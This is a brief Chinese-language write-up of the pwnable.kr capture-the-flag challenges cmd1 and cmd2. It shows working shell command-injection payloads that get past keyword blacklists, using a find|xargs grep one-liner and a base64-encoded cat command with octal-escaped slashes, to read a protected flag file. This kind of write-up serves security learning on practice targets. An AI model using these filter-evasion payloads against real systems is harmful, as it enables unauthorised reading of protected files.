[Pwnable.kr] cmd1 & cmd2
这两个题考察shell编程
cmd1过滤了flag、sh、tmp,让构造命令来显示flag的内容。这个只需要将文件名通过xargs传给grep就搞定了:
1 |
./cmd1 "/usr/bin/find | /usr/bin/xargs /bin/grep ''" |
cmd2的话复杂了一些,还过滤掉了PATH、=、/、export、` ……花了很多时间……
主要麻烦的是”=”和”/”被过滤了,如果不过滤”=”的话,完全可以 a=$(pwd); b=%{a%h*}弄出来,但是没有等于号就蛋疼了,于是只能考虑编码。
比如BASE64。
首先把命令 “/bin/cat /home/cmd2/flag”用base64压缩,得到L2Jpbi9jYXQgL2hvbWUvY21kMi9mbGFnCg==
但是这个是不行的,因为包含等号,但是我们只需要在命令中插入两个空格就可以把等号填充起来,结果是L2Jpbi9jYXQgL2hvbWUvY21kMi9mbGFnICAK
通过 echo “\57″可以输出”/”,所以最后的shellcode是
1 |
./cmd2 '$(echo "L2Jpbi9jYXQgL2hvbWUvY21kMi9mbGFnICAK" | $(echo "\57")usr$(echo "\57")bin$(echo "\57")base64 -d)' |